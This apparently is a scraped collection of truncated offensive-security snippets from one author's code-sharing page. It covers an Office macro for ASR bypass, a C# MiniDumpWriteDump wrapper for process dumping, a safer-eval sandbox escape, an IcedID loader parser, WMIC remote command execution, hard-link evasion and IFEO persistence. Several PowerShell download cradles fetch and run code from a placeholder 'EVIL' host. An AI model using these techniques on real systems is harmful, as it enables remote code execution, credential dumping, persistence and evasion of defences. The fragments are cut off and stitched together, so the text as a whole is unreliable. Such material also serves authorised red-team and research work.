ASkyeye

' ASR rules bypass creating child processes
' https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
' https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
' https://www.darkoperator.com/blog/2017/11/6/windows-defender-exploit-guard-asr-vbscriptjs-rule

Sub ASR_blocked()
    Dim WSHShell As Object
    Set WSHShell = CreateObject("Wscript.Shell")
    WSHShell.Run "cmd.exe"
End Sub

ASkyeye

<?xml version="1.0" encoding="UTF-8"?>

<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:co

ASkyeye

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

ASkyeye

$Source = @"
using System;
using System.Runtime.InteropServices;

namespace ProcDump {
    public static class DbgHelp {
        [DllImport("Dbghelp.dll")]
        public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, IntPtr hFile, IntPtr DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
    }
}

ASkyeye

Safer-Eval Sandbox Escape POC

safer-eval is a node JS library that supposedly provides a 'safe' way to 'eval' untrusted javascript.

As the maintainer warns in the README:

Warning: The saferEval function may be harmful - so you are warned!

However, it is still used by various libraries to parse/execute untrusted code in such a way that there is an implied

ASkyeye

"""
Py3 version of IcedID custom steganographic loader (PNG parser & PE reconstructor)
Inspired by https://github.com/hasherezade/funky_malware_formats/tree/master/iced_id_parser
Authored by @nazywam and @psrok1.

pip3 install malduck lief
"""

import sys
import malduck

ASkyeye

As always, only for use on networks you own or have permission to test against. 

Similar functionality to SpiderLabs SCShell (https://github.com/SpiderLabs/SCShell) but from the command line using WMIC to run commands on other systems remotely.
If attempting to run multiple commands, SCShell will probably be move convenient as it automates the below steps.  However, for one-offs this works fine as well.

The process involves a total of four commands, three of which can be combined on the command line to form one large block.

Step 1: Get the current pathName of your target service so we can restore it once we've ran our command (in our case XblAuthManager)
    wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' get pathName

ASkyeye

Using Hard Links to point back to attacker controlled location.

mklink /h C:\Windows\System32\Tasks\tasks.dll C:\Tools\Tasks.dll
Hardlink created for C:\Windows\System32\Tasks\tasks.dll <<===>> C:\Tools\Tasks.dll

This can redirect the search to an arbitrary location and evade tools that are looking for filemods in a particular location.

xref: https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html

ASkyeye

<#
    ImageFileExecutionOptions v1.0
    License: GPLv3
    Author: @netbiosX
#>
# Image File Execution Options Injection Persistence Technique
# https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/

function Persist-Debugger

ASkyeye

# Hex string taken from the "para" field of Audit-CVE event ID 1 event in the Application log
$EventParaString = '3081E0020101302C06072A8648CE3D0101022100A9FB57DBA1EEA9BC3E660A909D838D726E3BF623D52620282013481D1F6E5377304404207D5A0975FC2C3057EEF67530417AFFE7FB8055C126DC5C6CE94A4B44F330B5D9042026DC5C6CE94A4B44F330B5D9BBD77CBF958416295CF7E1CE6BCCDC18FF8C07B60441048BD2AEB9CB7E57CB2C4B482FFC81B7AFB9DE27E1E3BD23C23A4453BD9ACE3262547EF835C3DAC4FD97F8461A14611DC9C27745132DED8E545C1D54C72F046997022100A9FB57DBA1EEA9BC3E660A909D838D718C397AA3B561A6F7901E0E82974856A7020101'

# Convert the hex string to a byte array
[Byte[]] $EventParaBytes = $EventParaString -split '([0-9A-F]{2})' | Where-Object { $_ } | ForEach-Object { [Byte] "0x$_" }

# Save the byte array to disk
[IO.File]::WriteAllBytes("$PWD\ECCCurveParams.bin", $EventParaBytes)

# Use certutil to parse the ASN.1-encoded ECC curve parameters